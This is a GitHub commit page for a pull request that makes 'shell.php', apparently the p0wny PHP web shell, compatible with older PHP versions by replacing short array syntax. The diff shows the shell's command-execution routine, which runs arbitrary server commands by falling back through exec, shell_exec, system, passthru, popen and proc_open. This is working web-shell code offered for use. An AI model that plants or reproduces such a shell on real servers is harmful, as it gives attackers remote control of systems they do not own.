Skip to content

Commit

Permalink
Merge pull request #38 from FrancoisCapon/master
Browse files Browse the repository at this point in the history
Stay compatible with legacy PHP versions
  • Loading branch information
flozz authored Aug 10, 2023
2 parents b1c9e69 + ccb2e60 commit 9abe92f
Showing 1 changed file with 8 additions and 8 deletions.
16 changes: 8 additions & 8 deletions shell.php
Original file line number Diff line number Diff line change
@@ -1,9 +1,9 @@
<?php

$SHELL_CONFIG = [
$SHELL_CONFIG = array(
'username' => 'p0wny',
'hostname' => 'shell',
];
);

function expandPath($path) {
if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
Expand All @@ -13,7 +13,7 @@ function expandPath($path) {
return $path;
}

function allFunctionExist($list = []) {
function allFunctionExist($list = array()) {
foreach ($list as $entry) {
if (!function_exists($entry)) {
return false;
Expand All @@ -29,24 +29,24 @@ function executeCommand($cmd) {
$output = implode("\n", $output);
} else if (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} else if (allFunctionExist(['system', 'ob_start', 'ob_get_contents', 'ob_end_clean'])) {
} else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
ob_start();
system($cmd);
$output = ob_get_contents();
ob_end_clean();
} else if (allFunctionExist(['passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'])) {
} else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
ob_start();
passthru($cmd);
$output = ob_get_contents();
ob_end_clean();
} else if (allFunctionExist(['popen', 'feof', 'fread', 'pclose'])) {
} else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose'))) {
$handle = popen($cmd, 'r');
while (!feof($handle)) {
$output .= fread($handle, 4096);
}
pclose($handle);
} else if (allFunctionExist(['proc_open', 'stream_get_contents', 'proc_close'])) {
$handle = proc_open($cmd, [0 => ['pipe', 'r'], 1 => ['pipe', 'w']], $pipes);
} else if (allFunctionExist(array('proc_open', 'stream_get_contents', 'proc_close'))) {
$handle = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w')), $pipes);
$output = stream_get_contents($pipes[1]);
proc_close($handle);
}
Expand Down

0 comments on commit 9abe92f

Please sign in to comment.